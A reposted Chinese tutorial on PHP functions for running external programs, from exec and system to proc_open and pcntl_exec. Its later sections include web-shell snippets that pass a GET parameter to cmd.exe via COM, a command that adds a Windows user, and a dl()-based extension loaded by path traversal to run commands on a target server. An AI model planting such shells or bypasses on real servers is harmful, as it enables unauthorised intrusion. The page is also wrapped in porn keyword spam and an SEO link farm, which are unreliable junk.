电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

PHP調(diào)用外部程序的方法解析

瀏覽:90日期:2022-09-08 08:01:41

很多情況下需要php調(diào)用其他程序如shell命令、shell腳本、可執(zhí)行程序等等,此時需要使用到諸如exec/system/popen/proc_open等函數(shù),每種函數(shù)有各自適合使用的場景以及需要注意的地方。

前提:PHP沒有運行在安全模式

如果PHP運行在安全模式下,那么在執(zhí)行外部命令、打開文件、連接數(shù)據(jù)庫、基于HTTP的認證這4個方面將會受到制約,可能在調(diào)用外部程序時無法獲取預期的結果,此時需要設置特定目錄,可以在php.ini中編輯safe_mode_exec_dir參數(shù)來指定。

1. exec

原型:string exec ( string command [, array &output [, int &return_var]] ) 描述:返回值保存最后的輸出結果,而所有輸出結果將會保存到$output數(shù)組,$return_var用來保存命令執(zhí)行的狀態(tài)碼(用來檢測成功或失敗)。 例子:$ret = exec('ls -al', $output, $var); 注意: A. 輸出結果會逐行追加到$output中,因此在調(diào)用exec之前需要unset($output),特別是循環(huán)調(diào)用的時候。 B. 如果想通過exec調(diào)用外部程序后馬上繼續(xù)執(zhí)行后續(xù)代碼,僅僅在命令里加'&'是不夠的,此時exec依然會等待命令執(zhí)行完畢;需要再將標準輸出做重定向才可以,例如:exec('ls -al >/dev/null &', $output, $var); C. 要學會善用EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個字符串 中所有可能瞞過Shell而去執(zhí)行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(|),重定向(>)和從文件讀入 (<)等。函數(shù)EscapeShellArg是用來處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉義,這樣這個字符串 就可以安全地作為命令的參數(shù)。

2. system

原型:string system ( string command [, int &return_var] ) 描述:執(zhí)行給定的命令,返回最后的輸出結果;第二個參數(shù)是可選的,用來得到命令執(zhí)行后的狀態(tài)碼。 例子:$ret = system('ls -al', $var); 注意:略。

3. passthru

原型:void passthru (string command [, int return_var]) 描述:執(zhí)行給定的命令,但不返回任何輸出結果,而是直接輸出到顯示設備上;第二個參數(shù)可選,用來得到命令執(zhí)行后的狀態(tài)碼。 例子:passthru('ls -al', $var); 注意:略。

4. popen

原型:resource popen ( string command, string mode ) 描述:打開一個指向進程的管道,該進程由派生給定的 command 命令執(zhí)行而產(chǎn)生。 返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用于讀或寫)并且必須用 pclose() 來關閉。此指針可以用于 fgets(),fgetss() 和 fwrite()。  例子:$fd = popen('command', ’r’); $ret = fgets($fd); 注意:只能打開單向管道,不是’r’就是’w’;并且需要使用pclose()來關閉。

5. proc_open

原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] ) 描述:與popen類似,但是可以提供雙向管道。具體的參數(shù)讀者可以自己翻閱資料,比如該博客: http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。 注意: A. 后面需要使用proc_close()關閉資源,并且如果是pipe類型,需要用pclose()關閉句柄。 B. proc_open打開的程序作為php的子進程,php退出后該子進程也會退出。 C.  筆者在使用的時候遇到獲取外部程序輸出阻塞的問題,也就是在例子中的fgets($pipes[1])語句阻塞了,無法繼續(xù)進行。經(jīng)過多方查證后發(fā)現(xiàn),問題一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, '**** n');輸出結果,此時需要加上fflush(stdout);才行,否則輸出結果可能會暫留緩存中,無法真正輸出,而php也就無法獲取輸出了。 例子:

// /< 打開管道 $pwd = ' ***** ' ; $pipes = array (); $command = ' ***** ' ; $desc = array ( array ( ’ pipe ’ , ’ r ’ ) , array ( ’ pipe ’ , ’ w ’ ) , array ( ’ pipe ’ , ’ w ’ )); $handle = proc_open ( $command , $desc , $pipes , $pwd ); if ( ! is_resource ( $handle )) { fprintf (STDERR , ' proc_open failed.n ' ); exit ( 1 );} // /< 讀寫 fwrite ( $pipes [ 0 ] , ' *****n ' ); $ret = rtrim ( fgets ( $pipes [ 1 ]) , ' n ' ); // /< 關閉管道 fclose ( $pipes [ 0 ]); fclose ( $pipes [ 1 ]); fclose ( $pipes [ 2 ]); proc_close ( $handle );6. shell_exec

原型:string shell_exec ( string $cmd )描述:cmd:要執(zhí)行的命令    返回值:命令執(zhí)行的輸出。 如果執(zhí)行過程中發(fā)生錯誤或者進程不產(chǎn)生輸出,則返回 NULL。例子:

<?phpecho shell_exec(’pwd’);?>

執(zhí)行結果:/var/www/html

7. 反撇號`

描述:shell_exec() 函數(shù)實際上僅是反撇號 (`) 操作符的變體 

例子:

<?phpecho `pwd`;?>

執(zhí)行結果:/var/www/html

8.cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)pcntl_exec — 在當前進程空間執(zhí)行以給定參數(shù)執(zhí)行指定程序。pcntl是linux下的一個擴展,可以支持php的多線程操作。參數(shù):path: 必須是可執(zhí)行二進制文件路徑或一個在文件第一行指定了一個可執(zhí)行文件路徑標頭的腳本(比如文件第一行是#!/usr/local/bin/perl的perl腳本)。 更多的信息請查看您系統(tǒng)的execve(2)手冊。args: 一個要傳遞給程序的參數(shù)的字符串數(shù)組。envs: 一個要傳遞給程序作為環(huán)境變量的字符串數(shù)組。這個數(shù)組是 key => value格式的,key代表要傳遞的環(huán)境變量的名稱,value代表該環(huán)境變量值。返回值:當發(fā)生錯誤時返回 FALSE ,沒有錯誤時沒有返回。

9. COM組建(針對windwos環(huán)境下使用com組建)

原型: Wscript.Shell->exec(command) // Shell.Application->ShellExecute(appName,appArgs,appPath) // Shell.Application->open(appPath) //要填寫程序絕對路徑,并且應該沒有辦法加參數(shù) Shell.Application->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverb() Shell.Application->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverbEx() 描述:在windwos下,并且在php中開啟com組建擴展之后可以使用這種方法(打開方式自行百度) 徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件 例子:

<?php$phpwsh=new COM('Wscript.Shell') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->exec('cmd.exe /c '.$_GET[’c’].''); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> <?php$phpwsh=new COM('Shell.Application') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->ShellExecute('net',' user tiny tiny /add');//$exec=$phpwsh->ShellExecute('cmd','/c net user tiny tiny /add');?> <?php$phpwsh=new COM('Shell.Application') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->open('c:windowssystem32cmd.exe');?> <?php$a=new COM('Shell.Application');$a->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverb();?> <?php$a=new COM('Shell.Application');$a->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverbEx();?>10.  dl()

要求:php沒有開啟安全模式,并且enable_dl選項為on,并且php版本支持dl函數(shù) (在 PHP 5.3 里,此函數(shù)被某些 SAPI 移除了,也就是沒有這個函數(shù)?) 說明:extension_dir選項可以指定擴展模塊的目錄,但是我們可以使用相對路徑的方式繞過 原理:自己編寫擴展,然后使用dl加載此擴展。 舉例(linux): 準備工作: 自行上網(wǎng)下載apache和相近版本的php源碼,按照apache和php的官方文檔進行安裝。 我們主要需要三個文件:phpize,php-config和ext_skel:在正確安裝好了apache和php之后, phpize和php-config將被安裝(可以自行find),而ext_skel則是是在php源碼中的ext目錄中。 ext_skel是php源碼包中的用來幫助制作擴展的程序。 1)轉到php-x.x.xx/ext中首先新建xxx.skel文件,里面填寫要制作的擴展中的函數(shù)原型,例如: string exec(string str) 2)執(zhí)行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目錄, 里面則是擴展所需要的文件 3)cd tinymin 4)vi config.m4  將 config.m4文件里面 dnl PHP_ARG_WITH(myext, for myext support, dnl Make sure that the comment is aligned: dnl [ --with-myext Include myext support]) 修改成 PHP_ARG_WITH(myext, for myext support, [ --with-myext Include myext support]) 5)vi tinymin.c 將PHP_FUNCTION(exec)后面的大括號里面的代碼的最后一行刪除,并寫上自己的代碼,修改后如:PHP_FUNCTION(haha) { char *str = NULL; int argc = ZEND_NUM_ARGS(); int str_len; if (zend_parse_parameters(argc TSRMLS_CC, 's', &str, &str_len) == FAILURE)  return; return system(str); } 6)找到phpize:find / -name 'phpize' 然后運行一下phpize: /my_lamp/php/bin/phpize 7) 同樣方式找到php-config,然后運行configure: ./configure --with-php-config=/my_lamp/php/bin/php-config 8)make&&make install  之后便在自己的php擴展目錄中生成了擴展tinymin.so 在目標服務器上面上傳tinymin.so(不一定要在它的php擴展目錄中,因為可以使用相對路徑) 用法例如: <?php dl('../../../../../tmp/tinymin.so'); echo exec($_GET[’cmd’]); ?> 這種方法也很老了,我在自己的的kali2上面嘗試這樣做的時候提示沒有dl這個函數(shù),具體原因參見php manual windows上應該也是一樣的原理。不過沒有試過

11.  內(nèi)核變量

網(wǎng)址:http://www.freebuf.com/articles/web/82801.html 

以上就是PHP調(diào)用外部程序的方法解析的詳細內(nèi)容,更多關于PHP調(diào)用外部程序的方法的資料請關注好吧啦網(wǎng)其它相關文章!

標簽: PHP
相關文章:
主站蜘蛛池模板: 透平油真空滤油机-变压器油板框滤油机-滤油车-华之源过滤设备 | 紧急切断阀_气动切断阀_不锈钢阀门_截止阀_球阀_蝶阀_闸阀-上海上兆阀门制造有限公司 | 【直乐】河北石家庄脊柱侧弯医院_治疗椎间盘突出哪家医院好_骨科脊柱外科专业医院_治疗抽动症/关节病骨伤权威医院|排行-直乐矫形中医医院 | 刮板输送机,粉尘加湿搅拌机,螺旋输送机,布袋除尘器 | 生产自动包装秤_颗粒包装秤_肥料包装秤等包装机械-郑州鑫晟重工科技有限公司 | 执业药师报名时间,报考条件,考试时间-首页入口 | 卡诺亚轻高定官网_卧室系统_整家定制_定制家居_高端定制_全屋定制加盟_定制家具加盟_定制衣柜加盟 | 家德利门业,家居安全门,别墅大门 - 安徽家德利门业有限公司 | 新能源汽车电池软连接,铜铝复合膜柔性连接,电力母排-容发智能科技(无锡)有限公司 | 建筑资质代办-建筑企业资质代办机构-建筑资质代办公司 | 方源木业官网-四川木门-全国木门专业品牌 | 清水混凝土修复_混凝土色差修复剂_混凝土色差调整剂_清水混凝土色差修复_河南天工 | 长城人品牌官网| 金属软管_不锈钢金属软管_巩义市润达管道设备制造有限公司 | 深圳公司注册-工商注册代理-注册公司流程和费用_护航财税 | 台湾HIWIN上银直线模组|导轨滑块|TBI滚珠丝杆丝杠-深圳汉工 | 金属软管_不锈钢金属软管_巩义市润达管道设备制造有限公司 | 福州仿石漆加盟_福建仿石漆厂家-外墙仿石漆加盟推荐铁壁金钢(福建)新材料科技有限公司有保障 | ph计,实验室ph计,台式ph计,实验室酸度计,台式酸度计 | 西安标准厂房_陕西工业厂房_西咸新区独栋厂房_长信科技产业园官方网站 | 伶俐嫂培训学校_月嫂培训班在哪里报名学费是多少_月嫂免费政府培训中心推荐 | 大米加工设备|大米加工机械|碾米成套设备|大米加工成套设备-河南成立粮油机械有限公司 | 语料库-提供经典范文,文案句子,常用文书,您的写作得力助手 | 安徽免检低氮锅炉_合肥燃油锅炉_安徽蒸汽发生器_合肥燃气锅炉-合肥扬诺锅炉有限公司 | 压砖机、液压制砖机、静压砖机、环保砖机生产厂家—杜甫机械 | 网架支座@球铰支座@钢结构支座@成品支座厂家@万向滑动支座_桥兴工程橡胶有限公司 | 云杂志网-学术期刊-首页 | 武汉宣传片制作-视频拍摄-企业宣传片公司-武汉红年影视 | 耐磨陶瓷管道_除渣器厂家-淄博浩瀚陶瓷科技有限公司 | 杭州标识标牌|文化墙|展厅|导视|户内外广告|发光字|灯箱|铭阳制作公司 - 杭州标识标牌|文化墙|展厅|导视|户内外广告|发光字|灯箱|铭阳制作公司 | 山东活动策划|济南活动公司|济南公关活动策划-济南锐嘉广告有限公司 | 冷轧机|两肋冷轧机|扁钢冷轧机|倒立式拉丝机|钢筋拔丝机|收线机-巩义市华瑞重工机械制造有限公司 | 自动螺旋上料机厂家价格-斗式提升机定制-螺杆绞龙输送机-杰凯上料机 | 耐火砖厂家,异形耐火砖-山东瑞耐耐火材料厂 | 标准品网_标准品信息网_【中检计量】| 工业机械三维动画制作 环保设备原理三维演示动画 自动化装配产线三维动画制作公司-南京燃动数字 聚合氯化铝_喷雾聚氯化铝_聚合氯化铝铁厂家_郑州亿升化工有限公司 | 云南成考网_云南成人高考报名网 粤丰硕水性环氧地坪漆-防静电自流平厂家-环保地坪涂料代理 | 衡阳耐适防护科技有限公司——威仕盾焊接防护用品官网/焊工手套/焊接防护服/皮革防护手套 | 广州展览制作工厂—[优简]直营展台制作工厂_展会搭建资质齐全 | 百度网站优化,关键词排名,SEO优化-搜索引擎营销推广 | 中控室大屏幕-上海亿基自动化控制系统工程有限公司 |